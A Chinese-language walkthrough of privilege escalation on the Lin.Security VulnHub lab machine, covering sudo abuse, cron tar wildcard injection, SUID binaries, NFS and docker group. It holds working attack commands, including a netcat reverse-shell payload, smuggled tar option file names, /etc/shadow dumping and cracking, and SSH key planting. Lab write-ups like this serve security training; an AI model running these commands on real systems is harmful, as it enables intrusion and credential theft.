文章目录

    • 靶机描述
  • 提权
    • 1. sudo提权
    • 2. socat提权
    • 3. /etc/passwd哈希
      • 3.1 /etc/passwd/
      • 3.2 /etc/shadow/
    • 4. crontab定时任务
    • 5. 敏感隐藏文件
    • 6. suid提权
    • 7. NFS服务低权限访问
    • 8. docker组提权

靶机描述

在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。
首先,您可以使用以下凭据登录主机:bob / secret

下载地址:https://in.security/downloads/lin.security_v1.0.ova
靶机IP:192.168.56.106

直接ssh连接:
ssh bob@192.168.56.106

id查看用户id以及所属群组id:

超级用户(0):默认是root用户,其UID和GID都是0。root用户在每台Unix和Linux系统中都是唯一且真是存在的,通过它可以登陆系统,操作系统中任何文件执行系统中任何命令,拥有最高管理权限。

普通用户(1~499):系统中大多数用户都是普通用户,实际中也一般使用普通用户操作,需要权限是用sudo命令提升权限。

虚拟用户(500~65535):与真实的普通用户区分开来,这类用户最大特点是安装系统后默认就会存在,且默认情况大多数不能登陆系统,其在/etc/passwd文件中,最后字段为/sbin/nologin。是系统正常运行不可缺少的,主要是方便系统管理,满足相应的系统进程对文件属主的要求

我们并不是root权限
下面就开始提权吧

提权

1. sudo提权

sudo权限是root把本来只能超级用户执行的命令赋予普通用户执行
配置文件是/etc/sudoers

sudo -l查看支持root权限的命令


bob@linsecurity:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on linsecurity:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/biUser bob may run the following commands on linsecurity:(ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bi/usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/usr/bin/script, /usr/bin/scp

这边https://gtfobins.github.io/参考这个学习github里面很多讲解sudo下的提权…
只要是sudo -l 中/user/bin/目录下的形式都有方法提权

2. socat提权

在服务端建立一个端口1234的shell

sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane

连接,在本地机器启动本地的1234端口LISTEN:

socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234

3. /etc/passwd哈希

linux的用户密码哈希存储在/etc/shadow文件,普通用户能够查看到的则是/etc/passwd这个文件 在/etc/passwd中

比如:root:\x:0:0:root:/root:/bin/bash。账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上

3.1 /etc/passwd/

普通用户权限能够查看保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分1.用户名
2.密码,x表示密码保存在/etc/shadow
3.UID,0代表root
4.GID,表示所在组
5.描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6.用户主目录
7.默认shell类型

我们先查看一下,找到了一个超级权限用户,并显示了加密后的密码:

去网站解密:

获得密码P@ssw0rd!

3.2 /etc/shadow/

只有root用户权限能够查看保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分1.用户名
2.加密后的密码
3.上次修改密码的时间(从1970.1.1开始的总天数)
4.两次修改密码间隔的最少天数,如果为0,则没有限制
5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制
6.提前多少天警告用户密码将过期
7.在密码过期之后多少天禁用此用户
8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9.保留#由示例可知,加密的密码具有固定格式:
$id$salt$encrypted
id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512
salt为盐值,系统随机生成
encrypted表示密码的hash值
sudo man /etc/shadow

4. crontab定时任务

cron的攻击方法:https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

crontab文件格式

 *  *  *  *  *  command分  时  日  月  周  命令第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令

查看定时任务:
cat /etc/crontab

在kali上生成payload的命令:

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.106 lport=9999 R

生成的payload:

mkfifo /tmp/vqfv; nc 192.168.56.106 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv

接下来在靶机上运行:

#将payload写入shell.sh,并赋予执行权限
echo "mkfifo /tmp/vqfv; nc 192.168.56.106 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv" > shell.sh && chmod +x shell.sh#再创建两个文件:--checkpoint-action=exec=sh shell.sh 和 --checkpoint=1
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
##--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
##因此,选项--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序#nc -lvvp 9999开启本地监听,等待定时任务的反弹连接

已经接收到反弹shell:

5. 敏感隐藏文件

find查找所有隐藏文件:

find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null


查看文件,得到susan账户的密码:

6. suid提权

查找 suid权限文件的命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

xxd提权

xxd命令可以为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式,当suid和执行权限一起使用将会造成提权

1.首先查看组信息,itservices组具有执行权限
查看到用户susan属于itservices用户组:

cat /etc/group | grep itservices


切换为susan用户执行命令查看/etc/shadow/文件:

xxd "/etc/shadow" |xxd -r

将用户和密码复制到文档中,使用john命令可以爆破密码

taskset执行bash

taskset 1 /bin/bash -p

7. NFS服务低权限访问


NFS:Network File System即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。2049端口,对应nfs服务.

查看可以访问的 nfs 目录

showmount -e 192.168.56.106


#挂载peter home目录:

尝试在挂载的目录里创建文件,提示权限不够

即使我们在kali攻击机上是root用户,但是我们还是没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者

原理为:在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005

 groupadd -g 1005 peteradduser peter -uid 1001 -gid 1005


现在我们就有了写文件的权限

写入ssh公钥

#[攻击机]ssh-keygen生成公私钥对
ssh-keygen
#创建.ssh目录
peter@kali:/mnt/peter$ mkdir .ssh#传输public key
peter@kali:/mnt/peter$ cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys#设置权限
peter@kali:/mnt/peter/ chmod 700 ../.ssh/
peter@kali:/mnt/peter/.ssh$ chmod 600 authorized_keys#使用私钥登录

8. docker组提权

peter用户属于docker组,docker组的成员,那么可以根据此漏洞来获取root的shell
https://fosterelli.co/privilege-escalation-via-docker.html

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

失败了,但看了其他大佬的博客,有成功的,暂时还不清楚什么原因,就先总结到这里!

[VulnHub靶机]Lin.Security_linux提权相关推荐

  1. Linux常用提权方法 (゚益゚メ) 渗透测试

    文章目录 简介 常用命令汇总 靶机环境 Linux提权方法 Linux提权漏洞利用 脏牛(Dirty COW)CVE-2016-5195漏洞 CVE-2019-7304漏洞 CVE-2019-1327 ...

  2. Linux提权之suid篇

    Linux提权之suid篇 不知攻,焉知防 一个在安服路上摸索的大三生,记录平时学习笔记 suid前言: 1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义. ...

  3. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  4. 【渗透测试】Lin.Security靶机渗透练习_虚拟机无法获取ip的配置方法+靶机多种提权方式练习

    靶机描述:在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上.旨在帮 ...

  5. Vulnhub 靶机 VulnOSv2 write up opendocman cms 32075 sql注入 账号密码 ssh连接 37292.c 脏牛提权

    VulnOSv2 write up 0x00 环境搭建 0x01 信息收集 0x02 漏洞挖掘 web思路 步骤一:枚举目录+主页挖掘 步骤二:OpenDocMan v1.2.7 cms利用 步骤三: ...

  6. Vulnhub 靶机 Stapler write up samba+wp advanced-video ->mysql 密码 连接 john解密 登录后台 wp插件getshell sudo提权

    Stapler write up 0x00 靶机搭建 0x01 信息收集 0x02 漏洞挖掘 web思路 mysql 思路 ftp 思路 139 samba思路 步骤一:ftp匿名访问 步骤二:sam ...

  7. [VulnHub靶机]Lampiao_脏牛提权

    文章目录 环境介绍 实验步骤 1. 扫描端口 2. 信息收集 3. ssh爆破 4. drupal 7 漏洞getshell 5. 脏牛提权 环境介绍 攻击机:kali(192.168.56.104) ...

  8. 6-vulnhub靶场-LordOfTheRoot_1.0.1靶机内核提权udf提权缓冲区溢出提权

    6-LordOfTheRoot_1.0.1 靶机地址 https://www.vulnhub.com/entry/lord-of-the-root-101,129/ 难度 中等(主要是缓冲区溢出) 1 ...

  9. Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

    Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...

最新文章

  1. RxJava 源码解析之观察者模式
  2. 因退休太无聊,Python创始人加入微软!
  3. optee中core_init_mmu_regs函数解读
  4. 80m的mysql文件要导入多久_mysql导入数据库文件最大限制更改解决方法:You probably tried to upload too large file...
  5. 编程获取linuxservercpu、内存和磁盘使用
  6. 中国人均负债15.5万元,你贡献了多少?
  7. apt-get更新软件包_如何使用Apt-fast加速软件包下载和更新
  8. [vue] v-for循环中key有什么作用?
  9. java clone原理_详解Java中的clone方法 -- 原型模式
  10. 原创 | 万万没想到,JVM内存结构的面试题可以问的这么难?
  11. python中json使用方法总结_python中的json总结
  12. 2013年美国国情咨文总结
  13. 主动訪问用户数据的背后是品牌战略
  14. Java中的生产消费者问题
  15. paip..net c# 调用JS JAVASCRIPT变量与方法
  16. 《人工智能》之《计算智能》习题解析
  17. 罗永浩2014 一个理想主义者的创业故事Ⅳ 演讲稿实录
  18. Python将单一数字标签进行one-hot编码
  19. 轻巧入耳,畅享高音质,雷柏VM700S蓝牙TWS背光游戏耳机开箱实测
  20. WhbtomT(半路出家) 的每日英语 收集 (四)

热门文章

  1. Python简单实现数据降噪滤波处理_滢泷版
  2. 虚拟机Linux下Oracle11g客户端安装
  3. 动态类型语言和静态类型语言的区别
  4. python读取 .sqlite 数据库文件
  5. 笔记本电脑网卡和无线网卡基本知识
  6. phpbb风格模板_phpbb3 风格定制 | 学步园
  7. AssemblyInfo.cs文件:包含程序版本、信息、版权的属性文件(转转转)
  8. 浏览器Performance性能监控使用详解
  9. 2022-2028年全球与中国尼龙轮胎帘布行业发展趋势及竞争策略研究
  10. 使用Amazon CDK部署基于Amazon Fargate的高可用、易扩展的Airflow集群